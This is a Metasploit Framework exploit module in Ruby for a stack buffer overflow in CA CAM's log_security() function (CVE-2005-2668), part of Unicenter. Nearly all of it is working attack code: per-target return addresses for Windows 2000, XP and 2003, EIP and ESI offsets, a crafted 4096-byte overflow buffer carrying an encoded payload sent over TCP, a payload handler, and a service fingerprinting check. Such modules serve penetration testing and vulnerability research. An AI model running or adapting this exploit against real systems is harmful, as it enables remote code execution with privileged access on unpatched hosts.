89 lines
2.2 KiB
Ruby
89 lines
2.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
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'Description' => %q{
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This module exploits a vulnerability in the CA CAM service
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by passing a long parameter to the log_security() function.
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The CAM service is part of TNG Unicenter. This module has
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been tested on Unicenter v3.1.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2005-2668'],
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['OSVDB', '18916'],
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['BID', '14622'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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# W2API.DLL @ 0x01950000 - return to ESI
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['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],
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# Return to ESI in ws2help.dll
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['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
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['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
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['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
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['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
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],
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'DisclosureDate' => '',
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'DefaultTarget' => 0))
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end
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def check
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connect
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ack = sock.get_once
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disconnect
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(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
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end
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def exploit
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connect
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ack = sock.get_once
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if (ack != "ACK\x00")
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print_status("The CAM service is not responding")
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end
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buf = rand_text_english(4096, payload_badchars)
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# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
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buf[ 1016, 4 ] = [target.ret].pack('V')
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buf[ 1052, payload.encoded.length ] = payload.encoded
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sock.put("\xfa\xf9\x00\x10" + buf + "\x00")
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handler
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disconnect
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end
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end
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